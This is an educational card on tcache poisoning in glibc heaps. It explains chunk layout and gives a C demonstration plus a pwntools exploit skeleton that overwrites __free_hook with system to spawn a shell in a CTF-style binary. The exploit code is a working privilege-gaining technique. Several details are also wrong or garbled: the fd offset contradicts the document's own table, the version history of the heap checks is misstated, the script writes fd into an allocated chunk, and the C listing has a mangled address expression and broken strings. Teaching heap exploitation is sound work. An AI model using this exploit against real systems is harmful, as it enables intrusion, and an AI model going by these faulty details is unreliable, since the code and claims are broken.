Tcache Poisoning: fd Pointer Corruption for Arbitrary Allocation in glibc 2.27+ Heap
Theory
Why This Matters
The tcache (thread-local cache) was introduced in glibc 2.26 to improve allocation performance, but its minimal security checks made it the dominant heap exploitation target for several years after its introduction. Nearly every heap CTF challenge from 2018 onward relies on tcache mechanics. NICE K0168 and S0131 (develop exploits) require understanding heap allocator internals; T0286 (develop tools to support cyber operations) includes writing proof-of-concept code that demonstrates arbitrary allocation. Tcache poisoning is the entry-level heap primitive: one corrupted free-list pointer yields an allocation at any address the attacker chooses.
Core Concept
Tcache bins are per-thread singly-linked free lists, one per chunk size class (16 bytes to 1032 bytes on 64-bit, in 16-byte increments). Each bin holds up to 7 chunks. The bin is a simple forward-linked list: each free chunk's fd field (at offset 8 from the start of the user data, which is offset 16 from the chunk header) points to the next free chunk in the same size class.
Chunk structure (64-bit, minimum 32 bytes):
Offset Field
─────── ──────────────────────────────────────────────
0x00 prev_size (8 bytes) — size of previous chunk if free
0x08 size (8 bytes) — size of this chunk + flags (P, M, A in low bits)
0x10 fd (8 bytes) — forward pointer (next free chunk) [user data starts here]
0x18 bk (8 bytes) — backward pointer (unused in tcache, used by smallbins)
When a chunk is in the tcache, fd (at the start of the user-data area) points to the next free chunk. When malloc is called and a matching tcache bin is non-empty, it pops the head chunk and returns a pointer to offset +0x10 (the user-data area). The bin head is then updated to head->fd.
Tcache poisoning corrupts the fd pointer of a free chunk in the tcache bin. On the next malloc call of the same size, the poisoned chunk is returned. On the call after that, malloc follows the corrupted fd and returns the attacker-controlled address as a heap allocation, allowing the attacker to write arbitrary data at that address on the subsequent malloc write.
glibc 2.32+ key check: to prevent double-free via tcache poisoning, glibc 2.32 added a key field at chunk+0x18 (the bk slot). When a chunk is placed into the tcache, key is set to the address of the tcache struct. On free, glibc checks whether chunk->key == tcache — if so, it walks the bin to detect a duplicate. Bypassing this requires either zeroing the key field before freeing a second time, or overwriting it through an overflow/UAF before triggering the free.
Technical Deep-Dive
// Minimal demonstration (glibc 2.27, no key check)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
long target = 0;
printf("target before: %ld @ %p
", target, &target);
// Allocate two same-sized chunks
void *a = malloc(0x28);
void *b = malloc(0x28);
// Free both into tcache bin for size 0x30 (0x28 rounded up + header)
free(a);
free(b);
// Corrupt fd of chunk b (now at head of bin) to point at target
// b is returned by the second malloc, but its fd is read BEFORE that
// so we write to the fd field of the chunk currently at the head
*(void **)b = ⌖ // overwrite fd of freed chunk b
// First malloc drains b from the bin; bin head becomes &target
void *c = malloc(0x28); // returns b
// Second malloc returns &target (the poisoned fd)
void *d = malloc(0x28); // returns &target
assert(d == (void *)&target);
// Write through d to overwrite target
*(long *)d = 0xdeadbeef;
printf("target after: %ld
", target); // 0xdeadbeef
return 0;
}
pwntools-based exploit skeleton (glibc 2.27, heap leak available):
from pwn import *
p = process('./heap_challenge')
elf = ELF('./heap_challenge')
def alloc(size, data=b'A'):
# challenge-specific allocation primitive
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendlineafter(b'Data: ', data)
def free_chunk(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
def read_chunk(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
return p.recvline().strip()
# Allocate, free two same-size chunks so they enter tcache
alloc(0x28, b'A' * 0x28) # chunk 0
alloc(0x28, b'B' * 0x28) # chunk 1
free_chunk(0)
free_chunk(1)
# Overwrite fd of chunk 1 (head of tcache 0x30 bin) via UAF/overflow
target = elf.sym['__free_hook'] # glibc < 2.34
alloc(0x28, p64(target)) # chunk 2 — goes into chunk 1's slot, writes fd
alloc(0x28, b'C' * 0x28) # chunk 3 — drains original chunk 1
alloc(0x28, p64(elf.sym['system'])) # chunk 4 — allocated at __free_hook, overwrites it
# Now free a chunk containing /bin/sh to trigger system("/bin/sh")
alloc(0x28, b'/bin/shx00') # chunk 5
free_chunk(5) # triggers __free_hook("/bin/sh") = system("/bin/sh")
p.interactive()
Reverse Engineering Methodology
- Identify the glibc version:
strings ./libc.so.6 | grep "GNU C Library". This determines whether the key check exists (>= 2.32). - Map out allocation/free primitives in the binary. Look for
malloc,calloc,free,reallocin the PLT. - Find the UAF or overflow that allows writing to a freed chunk's
fdfield. Thefdfield is at the start of the user-data area (the pointer returned bymalloc). - Compute the target address:
__free_hookfor glibc < 2.34;__malloc_hookfor alternate targets; or a GOT entry for the binary itself.
Common Reversing Errors
- Confusing chunk size with requested size:
malloc(0x28)allocates a chunk of size0x30(rounded up to 16-byte alignment + 16-byte header). The tcache bin is indexed by chunk size, not requested size. Use0x30when referencing the bin. - glibc 2.32+ key check double-free detection: if the exploit double-frees the same chunk without zeroing
chunk->key, glibc detects it and aborts. Zerokey(atuser_ptr + 8) via the same write primitive before the second free. - Writing fd before the chunk is in the tcache: the
fdfield of an allocated (live) chunk contains user data, not a tcache pointer. Only free chunks have a meaningfulfd. Corruptfdonly after the chunk is freed. - Tcache bin full (7 chunks): if 7 chunks of the same size are already in the bin, subsequent frees go to the smallbin or unsorted bin. Ensure fewer than 7 same-size frees precede your target free.
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.